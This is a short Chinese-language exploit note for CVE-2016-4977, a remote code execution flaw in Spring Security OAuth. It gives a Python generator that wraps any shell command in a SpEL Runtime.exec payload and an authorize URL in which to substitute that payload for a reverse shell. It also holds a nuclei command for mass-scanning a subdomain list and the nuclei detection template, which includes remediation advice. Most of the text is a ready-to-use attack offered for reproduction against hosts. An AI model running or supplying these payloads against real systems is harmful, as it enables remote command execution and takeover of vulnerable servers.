漏洞复现 CVE-2016-4977 Spring Security Oauth RCE

1.反弹shell的payload需要bash64加解密，网址：https://ir0ny.top/pentest/reverse-encoder-shell.html
2.需要把反弹shell命令替换为spel表达式，脚本如下：#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)
3.payload，将其中{2*3}替换即可反弹shell：http://x.x.x.x:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

批量验证命令：nuclei -t cves/2016/CVE-2016-4977.yaml -l subs.txt
yaml POC：id: CVE-2016-4977
info:  name: Spring Security OAuth2 Remote Command Execution  author: princechaddha  severity: high  description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.  reference:    - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md    - https://tanzu.vmware.com/security/cve-2016-4977    - https://nvd.nist.gov/vuln/detail/CVE-2016-4977    - https://pivotal.io/security/cve-2016-4977  remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.  classification:    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H    cvss-score: 8.8    cve-id: CVE-2016-4977    cwe-id: CWE-19  tags: cve,cve2016,spring,oauth2,oauth,rce,ssti
requests:  - raw:      - |        GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0        Authorization: Basic YWRtaW46YWRtaW4=
    matchers-condition: and    matchers:      - type: word        part: body        words:          - "Unsupported response types: [978015547]"
      - type: status        status:          - 400
# Enhanced by mp on 2022/04/04